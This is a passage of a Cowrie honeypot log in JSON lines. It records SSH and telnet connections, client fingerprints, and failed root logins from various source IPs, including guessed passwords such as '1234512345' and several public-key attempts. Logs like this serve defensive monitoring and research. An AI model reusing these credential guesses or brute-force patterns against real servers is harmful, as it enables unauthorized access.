{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:31.045139Z","src_ip":"113.190.252.123","session":"f7d049ad1eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":46160,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1dfd0f5572a","protocol":"ssh","message":"New connection: 41.181.156.205:46160 (159.203.135.109:22) [session: b1dfd0f5572a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:31.398576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:31.403175Z","src_ip":"41.181.156.205","session":"b1dfd0f5572a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:31.652640Z","src_ip":"41.181.156.205","session":"b1dfd0f5572a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:32.564042Z","src_ip":"113.190.252.123","session":"f7d049ad1eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^&","message":"login attempt [root/!@#$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:32.671478Z","src_ip":"41.181.156.205","session":"b1dfd0f5572a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:33.923460Z","src_ip":"41.181.156.205","session":"b1dfd0f5572a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":34708,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4dea4c8a93","protocol":"telnet","message":"New connection: 167.71.238.254:34708 (10.17.0.5:23) [session: 5c4dea4c8a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:59.643972Z"}
{"eventid":"cowrie.session.closed","duration":26.673624753952026,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:26.317493Z","src_ip":"167.71.238.254","session":"5c4dea4c8a93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.12.214","src_port":58825,"dst_ip":"10.17.0.5","dst_port":22,"session":"52521521a037","protocol":"ssh","message":"New connection: 45.33.12.214:58825 (10.17.0.5:22) [session: 52521521a037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:39.626841Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:45.529641Z","src_ip":"45.33.12.214","session":"52521521a037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.57.248.10","src_port":45424,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9a9ec90dd01","protocol":"ssh","message":"New connection: 103.57.248.10:45424 (10.17.0.5:22) [session: a9a9ec90dd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:46.042062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:46.047870Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:46.272594Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:4c:2d:92:4d:f7:ca:bc:9e:fc:9b:10:74:1b:4c:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdsdo/rq3kM9VFHd1W6B3nJYCOlcFyB9r+HmdfsTGMbVy2D1aKBiAF3b7ZfhpRZigw6V/eNHISVkb+o/t4NNA/NMIDxy+aj5EK20ixG5c+YzXMEBVA5ArAeWLwhvXdrYtLMNculSTPXnQ7Ipr9XIIQDgoFI2DuWGHJeRPsu851Ln71s+/B8JdLw9ejux4CbAU60xylZJ0DKv649d+v9GInyQnDMFJgJXcw2FQqfJoQZpeQgQRGlx3LG+F/rH/QTfRjrm0Ug2EmprfzxyP8ATq109IadHAHI8QHItgfFRv+3QuMqyj5/4sA4v9VTq+n0fcyKYPAxvzCYMfe7xdTm+wn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:4c:2d:92:4d:f7:ca:bc:9e:fc:9b:10:74:1b:4c:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:47.370959Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:4c:2d:92:4d:f7:ca:bc:9e:fc:9b:10:74:1b:4c:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdsdo/rq3kM9VFHd1W6B3nJYCOlcFyB9r+HmdfsTGMbVy2D1aKBiAF3b7ZfhpRZigw6V/eNHISVkb+o/t4NNA/NMIDxy+aj5EK20ixG5c+YzXMEBVA5ArAeWLwhvXdrYtLMNculSTPXnQ7Ipr9XIIQDgoFI2DuWGHJeRPsu851Ln71s+/B8JdLw9ejux4CbAU60xylZJ0DKv649d+v9GInyQnDMFJgJXcw2FQqfJoQZpeQgQRGlx3LG+F/rH/QTfRjrm0Ug2EmprfzxyP8ATq109IadHAHI8QHItgfFRv+3QuMqyj5/4sA4v9VTq+n0fcyKYPAxvzCYMfe7xdTm+wn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:47.374547Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:15:ee:5a:ae:d4:d0:30:64:68:68:e0:18:1a:7b:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy0RfUkBpiuntLrt6dAB64+G2ygMjI/04Q7ZmLN0J/AltsFiowNxSwnrJAWX2TACvdPUghvE1HaGAcSeMhoQjFXh+teM6JGS1V83yHZuUc86fL2um/2EbWOKN0HvmgbasKF14xsNwoy6r5XO8W2wOGY0XSe8FHMs5NOlPrqbqmywIIbmZei4MaD9KuSmloEGGekZriqjnW7lr/zbUAegqmcPo+WJ5KaZdfdigkYOzOpMoTWSFxb2mf6DVrA/wL/gurA+otBkgqmoTODixHmnEgQIB3MmLXdqZx4vd1GOMPfQefFXRBD5V/gZTw1fwx+ZjAiw0Tk6bNXERykh9FPL6GbiTHFIdm394IOoXzjzk1IgvBqnsEjpOwTogYSKWaiisUQLi24CaZxxT6A7iqRrNQTeFB6n2lJvOfhhyvO2huVeCgL8A9JzVXuKFIKecZPH00XpLOBpUj25GBz7w71Q/UQRor566jIS5QFkOy9YMRWadXOaK2aFBFWkrV2vKAuHk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:15:ee:5a:ae:d4:d0:30:64:68:68:e0:18:1a:7b:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:47.596813Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:15:ee:5a:ae:d4:d0:30:64:68:68:e0:18:1a:7b:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy0RfUkBpiuntLrt6dAB64+G2ygMjI/04Q7ZmLN0J/AltsFiowNxSwnrJAWX2TACvdPUghvE1HaGAcSeMhoQjFXh+teM6JGS1V83yHZuUc86fL2um/2EbWOKN0HvmgbasKF14xsNwoy6r5XO8W2wOGY0XSe8FHMs5NOlPrqbqmywIIbmZei4MaD9KuSmloEGGekZriqjnW7lr/zbUAegqmcPo+WJ5KaZdfdigkYOzOpMoTWSFxb2mf6DVrA/wL/gurA+otBkgqmoTODixHmnEgQIB3MmLXdqZx4vd1GOMPfQefFXRBD5V/gZTw1fwx+ZjAiw0Tk6bNXERykh9FPL6GbiTHFIdm394IOoXzjzk1IgvBqnsEjpOwTogYSKWaiisUQLi24CaZxxT6A7iqRrNQTeFB6n2lJvOfhhyvO2huVeCgL8A9JzVXuKFIKecZPH00XpLOBpUj25GBz7w71Q/UQRor566jIS5QFkOy9YMRWadXOaK2aFBFWkrV2vKAuHk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:47.600949Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:6e:d9:54:1a:af:58:20:82:c9:17:55:15:4f:dd:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPnGSaVY/5k6ZFW72WC4NKTw+eYs8LdZGq5E4IyzFxWdO8kJ8f0vfQaMgHnODQ5X93Xj/i/ORvD2OL9Y/EjjnLXL6WrXuaU/WIJt+GSbcyKQGvKVgL29mnbpWHg1dWxHcwEWp2XkhJecLw/lFSQ7WVooeie6imQBzMNwlPcI90IOT9/+yJM2xOpH20tb7708sjPepXIpfD253K0LjMCACJ/BLzJ9Nde1FZ7Me7imkDs+4iIF8MKcwhr3eLKkduzyt7UHw41q/RgPgp1fQ+0UKdkv8Di2PdKzJpv7X5tUvPFe7eEWrPxIFOaN5C0H92pR/piYtk7w/X5XW0277jsHxvQxQ+Dy5higAnycl5gR8I1HLIdItsMSCI7XjoWaJCUBfhDmVhQSOPExNis8Q6LgxgoMiixAbXILd8o8tSaUgX7zDqt8I+Cxxmguxzmq1efXy6RASPzq90Wpq53tzlW7366n6gz+JWuSq3W+c3WJQgENP09e7c5YNn7ci43LMPCpU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:6e:d9:54:1a:af:58:20:82:c9:17:55:15:4f:dd:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:47.822516Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:6e:d9:54:1a:af:58:20:82:c9:17:55:15:4f:dd:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPnGSaVY/5k6ZFW72WC4NKTw+eYs8LdZGq5E4IyzFxWdO8kJ8f0vfQaMgHnODQ5X93Xj/i/ORvD2OL9Y/EjjnLXL6WrXuaU/WIJt+GSbcyKQGvKVgL29mnbpWHg1dWxHcwEWp2XkhJecLw/lFSQ7WVooeie6imQBzMNwlPcI90IOT9/+yJM2xOpH20tb7708sjPepXIpfD253K0LjMCACJ/BLzJ9Nde1FZ7Me7imkDs+4iIF8MKcwhr3eLKkduzyt7UHw41q/RgPgp1fQ+0UKdkv8Di2PdKzJpv7X5tUvPFe7eEWrPxIFOaN5C0H92pR/piYtk7w/X5XW0277jsHxvQxQ+Dy5higAnycl5gR8I1HLIdItsMSCI7XjoWaJCUBfhDmVhQSOPExNis8Q6LgxgoMiixAbXILd8o8tSaUgX7zDqt8I+Cxxmguxzmq1efXy6RASPzq90Wpq53tzlW7366n6gz+JWuSq3W+c3WJQgENP09e7c5YNn7ci43LMPCpU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:47.826252Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:06:2e:61:12:88:51:1d:91:54:02:1e:1b:c3:f0:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpM9mpPVEBjFI3N6W/jBNCsaN8FzpMZqm+AWuJ84Mg45iFrAUJ6Wgfwah9+e4bmM+7ay8FTGSX+UlLuPKlANzPNfaOE9aoKH0YSU9mW3zJbpx2guCtozg8f6jTP/ZtmGGmbn8/xJj6MvNhA8IUbssMAWkswboLRiAcly7c2esyRbTU+44xt/pEOwhyoNjRzTxZw52VabPJ/GXbh02zEWFiyIXt0ARVXgL65gyoPH6Im6OYmtSYXY4GBJugY1ecTSz7VIzQJXZA3JgobrhTwwh7yNb5nOgbzvr8qMQTGKrsanJBcnV095W9QHv2SAqK5Y6E1vNYrVyRhS+gr9hfa/czOToYNHYOugXHlPHW9COQfUVX2yDCbPC/+s13WOqNM8NYQfmo9TUDiVRj0itRHPEZM4Ns4y9XUCg0wOwb61sj0bZcQq0EX+PAkD7jcupsuVEXnV+IB40DR9EZeZzfllqF8Bw9RNXcNg+8nudS3x/3rSo2u7Q77hICE+5Q9B4uUhc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:06:2e:61:12:88:51:1d:91:54:02:1e:1b:c3:f0:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:48.047099Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:06:2e:61:12:88:51:1d:91:54:02:1e:1b:c3:f0:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpM9mpPVEBjFI3N6W/jBNCsaN8FzpMZqm+AWuJ84Mg45iFrAUJ6Wgfwah9+e4bmM+7ay8FTGSX+UlLuPKlANzPNfaOE9aoKH0YSU9mW3zJbpx2guCtozg8f6jTP/ZtmGGmbn8/xJj6MvNhA8IUbssMAWkswboLRiAcly7c2esyRbTU+44xt/pEOwhyoNjRzTxZw52VabPJ/GXbh02zEWFiyIXt0ARVXgL65gyoPH6Im6OYmtSYXY4GBJugY1ecTSz7VIzQJXZA3JgobrhTwwh7yNb5nOgbzvr8qMQTGKrsanJBcnV095W9QHv2SAqK5Y6E1vNYrVyRhS+gr9hfa/czOToYNHYOugXHlPHW9COQfUVX2yDCbPC/+s13WOqNM8NYQfmo9TUDiVRj0itRHPEZM4Ns4y9XUCg0wOwb61sj0bZcQq0EX+PAkD7jcupsuVEXnV+IB40DR9EZeZzfllqF8Bw9RNXcNg+8nudS3x/3rSo2u7Q77hICE+5Q9B4uUhc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:48.051279Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:2a:3f:9f:a4:00:ba:42:12:b6:5b:45:e4:64:cc:73","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOr6hy5WNjyZDwFY49cItH1+Vue0ecTlFB96UYS+5KV0jN69p8WRprNvnNjx7uorEaM333axzVfSrEcxUFzKmWcbCYfZ31dIiJj5ApgNk934OgNzGhyLmavvHNCAFlWHeZ6b9ehZE4eTlrZl8sC4kpmOnIjOtSkV6UOdxi8VBapLAAAAFQCtZSpnNmXIqqPpMXQC3ASKqCQvFQAAAIAmoHyxHs/x78ZoNGuhTqd0BZcTm0AnoL0kBFQ0Y5TBQsXAZZyRNsneDYAwMN+2J1vuK9RJELkhcWQAy58ETqwnU/KDDyb+m2G71v2LQVbk0G8ieWssAaZv9SKxHPC4KjLsQT+l4bdxDon41qkjHndq4fXTskry2JUsWHlW5V8KGQAAAIEA0GbLjCX2Xg3TdoJObHw5nNd9v1nWlPNDIjE+vN9Cl/Tol45F8bWzg+gBzDkdDztE2rtsEhrsnvEUNxTyit09NSxLsciMYHzJGIluCnu8MEHk+eeDUdzUiegpH4p+A+jMUcNqsfJX7CX+3fsDk4vlYcUTfy/otczoVkjdupygaVs=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 18:2a:3f:9f:a4:00:ba:42:12:b6:5b:45:e4:64:cc:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:48.276624Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:2a:3f:9f:a4:00:ba:42:12:b6:5b:45:e4:64:cc:73","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOr6hy5WNjyZDwFY49cItH1+Vue0ecTlFB96UYS+5KV0jN69p8WRprNvnNjx7uorEaM333axzVfSrEcxUFzKmWcbCYfZ31dIiJj5ApgNk934OgNzGhyLmavvHNCAFlWHeZ6b9ehZE4eTlrZl8sC4kpmOnIjOtSkV6UOdxi8VBapLAAAAFQCtZSpnNmXIqqPpMXQC3ASKqCQvFQAAAIAmoHyxHs/x78ZoNGuhTqd0BZcTm0AnoL0kBFQ0Y5TBQsXAZZyRNsneDYAwMN+2J1vuK9RJELkhcWQAy58ETqwnU/KDDyb+m2G71v2LQVbk0G8ieWssAaZv9SKxHPC4KjLsQT+l4bdxDon41qkjHndq4fXTskry2JUsWHlW5V8KGQAAAIEA0GbLjCX2Xg3TdoJObHw5nNd9v1nWlPNDIjE+vN9Cl/Tol45F8bWzg+gBzDkdDztE2rtsEhrsnvEUNxTyit09NSxLsciMYHzJGIluCnu8MEHk+eeDUdzUiegpH4p+A+jMUcNqsfJX7CX+3fsDk4vlYcUTfy/otczoVkjdupygaVs=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:48.280911Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:36:48.506459Z","src_ip":"103.57.248.10","session":"a9a9ec90dd01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":34154,"dst_ip":"159.203.135.109","dst_port":22,"session":"c97d93d66e8d","protocol":"ssh","message":"New connection: 2.27.36.16:34154 (159.203.135.109:22) [session: c97d93d66e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:37:18.062023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:37:18.067090Z","src_ip":"2.27.36.16","session":"c97d93d66e8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:37:18.167936Z","src_ip":"2.27.36.16","session":"c97d93d66e8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"FZAc8jnw.XdKgFZAc8jnw.XdKg","message":"login attempt [root/FZAc8jnw.XdKgFZAc8jnw.XdKg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:37:18.603914Z","src_ip":"2.27.36.16","session":"c97d93d66e8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:37:19.714168Z","src_ip":"2.27.36.16","session":"c97d93d66e8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":55482,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9cc85e57d9c","protocol":"ssh","message":"New connection: 163.245.222.56:55482 (159.203.135.109:22) [session: a9cc85e57d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:38:46.891954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:38:46.897216Z","src_ip":"163.245.222.56","session":"a9cc85e57d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3